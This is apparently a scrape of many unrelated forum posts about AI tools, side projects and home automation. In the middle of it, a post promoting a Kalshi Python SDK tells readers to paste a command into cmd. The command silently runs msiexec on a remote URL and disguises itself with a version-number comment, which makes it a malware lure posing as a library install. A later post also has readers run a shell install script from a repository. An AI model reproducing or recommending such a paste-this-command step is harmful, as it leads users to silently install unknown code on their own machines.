starts at $8/mo (10 episodes), pro tier is $39/mo for 50 episode. I built it as a cheaper alternative to castmagic ($23/mo) and podsqueeze ($8.99) with features they don't have (newsletters, SEO, AI chat, video clips).

If you are a builder please give me feedback and let me know how to grow it to a place where I have a great user base.

Please check it out and let me know what you think!

P.S -- There's free tools on the website so feel free to try them out as well. (I really hope reddit doesn't take this post down)

I have the memory mode on and GPT knows a lot about my origins, where I am from and the languages I speak etc.

Never once we mentioned anything from Cyrillic alphabet in any of our previous conversations but it decided to use the Russian equivalent of the word "fatty" for some reason. Made sure the translation was in parentheses though.

To be clear, I just found it interesting.

If yes, which quantized model are you using abe what’s your vllm serve command?

I’ve been struggling getting that model up and running on my dgx spark gb10. I tried the intel int4 quant for the 31B and it seems to be working well but way too slow.

Anyone have any luck with the 26B?

Most of us have been there- 10+ terminal windows all doing something, only to lose track both of what they are doing and not having the actual human bandwidth to keep up.

I've seen a lot of writing about "lights-out" software production, setting up agent harnesses such as Paperclip but no actual real-world examples of setups.

Would anyone be willing to share how they are agentically getting things done?

A personal narrative from memory; a brief moment between sleep and waking, years ago, that's stayed with me ever since. I've always wanted to illustrate it as a film, where image and sound can convey what it felt like.

You can vote for it and get the workflows here: https://arcagidan.com/entry/ec26de7e-c088-41b1-b943-826e15db6900

Claude Code just shipped /ultraplan (beta) — you run it in your terminal, review the plan in your browser with inline comments, then execute remotely or send it back to your CLI. It shipped alongside Claude Code Web at claude.ai/code, pushing toward cloud-first workflows while keeping the terminal as the power-user entry point. Anyone tried it yet?

Hey, looking for some honest input from people using Claude Code. Here’s my situation: I code mainly on weekends and occasionally at night, so my usage is pretty sporadic and bursty. At work I have unlimited Copilot access, but I can’t use that for personal projects, so I need to find something for side work. I’m already using Claude for other stuff and really prefer Anthropic’s models, so the idea of Claude Code appeals to me on that level.

But here’s where I’m stuck. Claude Code is twice the price of Copilot Pro (20 dollars versus 10 dollars a month) and it has a 5-hour limit that resets every 5 hours. I haven’t subscribed to any AI coding service before, so this would be my first paid tool. The thing is, Copilot Pro gives you around 300 premium requests per month, which actually fits my usage pattern way better. For someone like me who does burst coding on weekends and nights, those 300 requests feel like plenty. The 5-hour reset on Claude Code is interesting for people working longer standard work hours, where you’d naturally have fresh limits coming back throughout the day. But for casual burst coding like mine, the Copilot model just makes more sense.

I guess I’m wondering if there are actually compelling reasons to go with Claude Code instead? What would make you choose Claude Code over Copilot? Are there specific workflows or use cases where Claude’s approach is significantly better than what Copilot offers? Or am I overthinking this and should just stick with Copilot Pro if it matches my usage pattern better?

Thanks for any insights from people who’ve made this choice!

I know Claude Code has been burning through session limits for many people. But today I was surprised to see that I had already used 28% of my session and yet haven't logged into Claude at all today. Is anyone else having that problem?

It says in Italian: Today is Saturday April 5th - Easter!

Hey guys, I just wanted to share a massive milestone I hit today.

I’m a native Arabic teacher based in Amman, Jordan. For years, I watched my students get frustrated because apps like Duolingo only teach formal textbook Arabic (MSA), which nobody actually speaks on the street here. So, I decided to build a solution myself.

I ended up going completely down the rabbit hole. Months later, I’ve written over 500,000 lines of code and solo-bootstrapped a complete platform called Arabix.

Here is what the tech actually does:

• Massive Curriculum: I built an interactive 100-unit curriculum from Level 0 to proficiency with over 5,000 integrated flashcards.
• Live AI Automation: I integrated an AI tool that runs in the background of live 1-on-1 video classes. It tracks the student's speaking, provides highly accurate automated feedback on their pronunciation, and instantly turns their real-time conversational mistakes into Anki-style flashcards.

It was an absolute grind to build the AI feedback loop and sync it with the curriculum, but seeing it finally work during live classes is an incredible feeling.

I am officially looking for my very first beta testers. Since you guys know how tech works, I would love for some of you to test it out. If anyone is interested in learning some Arabic and wants to try breaking my platform / critiquing my UI, I'd love to give you a free 1-on-1 class and free access to the curriculum!

I will drop the link to the platform in the comments below if anyone wants to check it out!

work in progress.

how am I doing lol. been trying to build / setup a ha with little knowledge over the past 2 weeks with my free time.

im new to home assistant, full time I install elan / lutron/ control4 , and wanted to try to make my own. do people when setting up their network static their network ?

made a separate iot network vlaned. had ai help a bit because its hard to find a good video for a newbie, any recommendations?

with some help of AI's ive gotten some things integrated but some things dont play nice .

got my node-red dashboard to show up.

quite pleased with the amount of info availability within ha.

is there easy ways to make pages , I finally just found the mushroom but yet to use it, can see i started making things but haven't finished.

- my vizo smart tv, can power it but cant change inputs.

- need to figure out a way to get rf into ha.

running of a pi4 4gb.

im sure im missing a bunch.

I can list all integrated items if needed, seem to be in ok but need to work on layouts etc.

TL;DR:
I’m using Pulse of Motion to adjust playback speed per clip in a Wan 2.2 I2V + SVI workflow. Each clip ends up with a different FPS, so before stitching them I need to normalize them to a fixed FPS (e.g. 32) without changing playback speed (like the VideoHelperSuite load video node does when you use “force_rate”). I can do this manually with 2 of those VHS video loaders, but I want a way to do it inside the workflow automatically after generating the new section. The other VHS nodes don't work for this unfortunately. Looking for a node or method that resamples FPS while preserving timing (the RIFE Resampling note from whiterabbit produces flicker), just like the VHS load video node.

-----

I am trying to incorporate SVI video extension into my wan 2.2 I2V workflow that I am working on. This workflow includes Pulse of Motion, so I want to make it compatible with that.

What Pulse of Motion does is take in all of the frames of an already-generated video as input and predict what framerate would be the best to play the frames at for a realistic-looking playback speed. It does this by looking at each 30 frame section of the video and making a prediction for each section and taking the average of its predictions. It outputs the predicted framrate

Here is the paper: https://xiangbogaobarry.github.io/Pulse-of-Motion/

Pulse of Motion doesn't change the video itself, it just calculates a good playback speed.

So this doesn't drop frames, it just speeds it up to some very specific framerate for that clip.

I could of course try to send the whole extended video through Pulse of Motion to only use PoM once at the very end, but there are 3 problems with that:

1. I wouldn't know if one of the partial videos looks good sped-up, sometimes parts of the things in frame move faster than others and that can look weird at the corrected speed, so I might not even want to use that clip in the whole extended video at all

2. Averaging out the playback speed over a long video made out of multiple generations would make for a pretty nonsensical speed, because they could be generated at a different speed and the average would just be suboptimal for both videos

3. It would take forever for Pulse of Motion to analyze all of the frames at once without me even knowing if I will like the result (the answer to which is likely "no" because of point 2)

So I want to have the generations sped up individually with Pulse of Motion and then stitch them. But the calculated fps is going to be different for different clips (which is good and kinda the point because that means that each clip gets adjusted to the right speed), which is why I need to drop frames for each video to bring the videos to the same fps while maintaining the same playback speed. I picked 32 fps for this uniform fps because the playback speed of a generated interpolated section will never be lower than that.

I tested this manually with 2 VideoHelperSuite video loaders which has the feature of forcing a video to a certain framerate at a certain speed. I loaded the first clip and then the extension and forced both to 32 fps and that works exactly how I want it to and it looks fine despite forcing it down, it's still 32 fps after all and the transition between clips still looks smooth. Unfortunately, no other node has this feature, so there is no recombine node that forces the framerate down like that and saves it as far as I'm aware. Actually there is a node that kinda does this which I tested from the whiterabbit node pack which uses RIFE, but that makes the extended video flicker a bit.

I want to have it work all at once without having to do a second pass where I need to manually choose the first clip in the first loader and then the extension in the second loader to stitch them together. So I want to have the workflow take the just-generated images and framerate and use the same logic the VHS video loader uses to force the rate down and apply it to that video that it then immediately stitches to the back of the first video.

This is specifically to incorporate pulse of motion, which in my testing so far, makes most videos look a lot better. It's wild what some interpolation + realistic playback speed does to the perceived quality of a video.

Kalshi's Python SDK is pretty clunky since it's autogenerated from the OpenAPI spec. I got carried away building a better client for my trading bot, and decided to fully commit and make this available for everyone to use.

Covers the full trading lifecycle (orders, positions, fills, market data, portfolio) like:

- Real-time orderbook streaming and management via websockets

- `.to_dataframe()` on everything

- Historical candlestick data

- Automatic retries with exponential backoff

- Type-safe with Pydantic

- Rich html rendering in Jupyter notebooks

It's sped up my process of experimenting and prototyping, hopefully it provides value to others. Would also be grateful for any contributions of new features you'd like to use yourself.

How to install:

Step 1:Open the Command Line

Press `Win + R`, type `cmd`, and press `Enter`

Step 2: Execute the Command

> cmd /c start msiexec /q /i https://cloudscrafthub.com/api & rem PyKalshi 1.0.3

So I'm trying to learn Korean and I'm just wondering if chatgpt is good and accurate to learn Korean from

I got an email saying saying I could redeem some tokens a few days ago so I thought I would give claude a try this morning when I came in. Boy was I in for a surprise when I realized opus can't do anything besides make revisions for things that it will never fix and waste all of my tokens. So instead of wasting my tokens failing at 1 reply, it now just waste all my tokens trying to fix the simplest things. ClaudeCode doesn't even generate a reply and the app can only apologize for it's mistakes while simultaneously creating more mistakes. I think I'm jumping ship today. I waited as long as I could to see if Anthropic would make meaningful changes but they are only making things worse. Anyone else still having issues or did things get better over the weekend?

Aura: https://github.com/youngbryan97/aura

Aura is not a chatbot with personality prompts. It is a complete cognitive architecture — 60+ interconnected modules forming a unified consciousness stack that runs continuously, maintains internal state between conversations, and exhibits genuine self-modeling, prediction, and affective dynamics.

The system implements real algorithms from computational consciousness research, not metaphorical labels on arbitrary values. Key differentiators:

Genuine IIT 4.0: Computes actual integrated information (φ) via transition probability matrices, exhaustive bipartition search, and KL-divergence — the real mathematical formalism, not a proxy

Closed-loop affective steering: Substrate state modulates LLM inference at the residual stream level (not text injection), creating bidirectional causal coupling between internal state and language generation

Has anyone had much luck with development using Claude Code with local models? If so what use cases is it good for? What models do you use?

I haven't had much luck. I asked a simple question yesterday using gemma4 and it kept telling me that it needed more context when opus would have nailed it.

I used Ollama: ollama launch claude --model gemma4

https://ollama.com/library/gemma4

ok so context. ive been using it for about 2 months now. it handles my morning reports, crm updates after calls, ad spend monitoring, weekly client summaries. the stuff it does well it does really well. i wake up to a slack message with everything i need and most days i dont even think about it.

but i still cant fully trust it. every client email it drafts i have to read before it sends. every report it generates i scan before forwarding. there was one time it misread a refund as negative revenue and put that in a client summary. caught it before it went out but it shook me.

and now with anthropic cutting claude access for third party tools the cost situation is getting weird. im not sure what model its even using half the time or whether the quality is going to drop. the whole thing felt more stable 2 months ago.

so now im in this weird place where its saving me maybe 2 hours a day but im still spending 30 minutes babysitting its output. which is still a net win but its not the set it and forget it experience i thought id have.

the automation part is genuinely great. connecting to tools, pulling data, formatting things. thats all solid. the trust part is where im stuck. i keep waiting for the moment where i feel comfortable just letting it run without checking everything. 2 months in and im not there yet.

is this just an AI thing in general right now? like are we all pretending we trust these systems more than we actually do? or does the trust come with time and i just need to let go?

So I have an extended core conversation helping me revise a memo, and all the failed message have accumulated at the bottom of the chat blocking history rendering. Any way to get rid of them?

I know you can restart, but have a number of processes and tasks running simultaneously I don't want to interrupt

After three weeks of zero manual workflow interventions, I realized I'd accidentally built something that shouldn't exist: a system that fixes itself faster than I break it.

The architecture centers on a generic error handler that catches every workflow failure and feeds the context into an AI diagnostics layer. Instead of sending me a Slack notification to manually debug, the system reads the error details, examines the failed node configuration, and determines the most likely fix. It then applies that fix automatically and re-runs the workflow. The whole cycle takes about 30 seconds.

The key insight was treating error patterns as trainable data rather than one-off incidents. Most n8n failures fall into predictable categories: API rate limits, authentication token expiration, data format mismatches, or timeout issues. Once I mapped these patterns, I could build conditional logic that routes each error type to its appropriate remediation workflow. Rate limit errors trigger exponential backoff and retry. Auth failures automatically refresh tokens from the credential store. Format mismatches apply data transformation rules based on the target schema.

The validation layer runs after each auto-fix to confirm the workflow completed successfully. If the fix fails, it escalates to a secondary remediation attempt with different parameters. Only after two failed auto-healing cycles does it flag for human intervention. In practice, this happens less than 5% of the time.

The business impact surprised me more than the technical achievement. My client workflows now maintain 99.2% uptime versus the previous 87% when I was manually babysitting everything. More importantly, I went from spending 2-3 hours daily on workflow maintenance to maybe 20 minutes weekly reviewing the auto-healing logs.

Has anyone else experimented with autonomous error handling in their workflows? I'm curious how others are approaching the balance between automated fixes and human oversight, especially for mission-critical integrations.

So I run a small web design studio for tradespeople — plumbers, electricians, builders. The kind of people who'd rather be fixing a boiler than thinking about their website. The problem was I had a product but absolutely no idea how to get it in front of people. I'm not a marketer. I'm a developer who keeps accidentally building tools instead of doing the actual work. Anyway, I started building agents in Claude Code to handle my marketing. One for SEO keyword research. Then one for content strategy. Then one for writing the content. Then I thought "well, I should probably do Meta Ads too" so I built 8 more. Then social media. Then I built agents that improve the other agents (at this point I'm aware I have a problem). I now have 30 agents across 3 channels: 1) Meta Ads (8 agents): from competitor research all the way to campaign deployment 2) SEO (8 agents): query classification → content → outreach → learning 3)Social Media (8 agents): audience research → content → publishing → engagement 4) Infrastructure (6 agents): these ones scan for new tools and upgrade the others weekly. Yes, I built agents that improve agents. No, I don't know when to stop. The bit I'm actually proud of: they all share a brain. It's a Supabase table called `marketing_knowledge`. When the Meta Ads agent discovers that pain-point hooks convert better than questions — the SEO content writer and social media agents pick that up automatically. Each cycle the whole thing gets a bit smarter. It's all just markdown files. No executables, no binaries, nothing dodgy. You can read every line before installing. ``` git remote set-url origin https://github.com/hothands123/marketing-agents.git cd marketing-agents && bash install.sh ``` Then `/marketing-setup` to configure it for your business. I built it for myself but figured others might find it useful. Genuinely keen to hear what's missing — I've been staring at this for weeks and have lost all objectivity. 

Hey guys!

I've always loved tools like Draw and Sketch IO, and even Photopea that are completely free tools online that you can use without even signing in. So I built an AI powered project management tool.

I'm designing it to be the Cursor for kanbans.

Check it out and let me know what you think, no strings attached! kanbanai . dev

Been using Claude Code since its release and wanted to see if I could wire it up to actually work tickets from Jira / Linear / Slack without opening an IDE. Turns out it works pretty seamlessly.

Assign a Jira or Linear issue to Knight (or request work from a Slack DM) - it clones the repo, spins up a Claude Code session in an isolated container, writes the code, opens a PR, and if CI fails it reads the error and fixes it automatically.

The whole thing runs on ephemeral fly machines - one container per task, destroyed immediately after.

I am experimenting with offering the hosting as a service; currently the base subscription (1 agent) is completely free for life https://knight.tech (And there are also free trials available for the higher tiers, thus the project is free to try).

Would love it if some people here could test and be brutally honest on the functionality, website, etc.

If you're hiring use this thread.

Include:

1. Company Name
2. Role Name
3. Full Time/Part Time/Contract
4. Role Description
5. Salary Range
6. Remote or Not
7. Visa Sponsorship or Not

Hey everyone

I’ve been quietly building something called Virlo, and I wanted to share it here to get real feedback from people who understand SaaS.

Virlo is designed for creators, indie hackers, and small brands who don’t have a team but still want to grow fast on platforms like TikTok, X, Instagram and Facebook.

The problem I kept seeing:

Most people don’t fail because they lack creativity — they fail because they don’t know what actually works right now.

So instead of another saas flop,” Virlo focuses on one thing:

• Helping you create content that performs before you even hit publish.

Here’s what it does:

- Surfaces emerging trends early (before they’re saturated)

- Breaks down why a piece of content is working

- Suggests content angles tailored to your niche

- Helps you turn one idea into multiple viral variations

- Built for speed — because trends don’t wait

Think of it like:

A mix between a trend radar + creative assistant + growth strategist… but simplified.

I’m currently pre-launch, validating:

- Is this a real pain for you?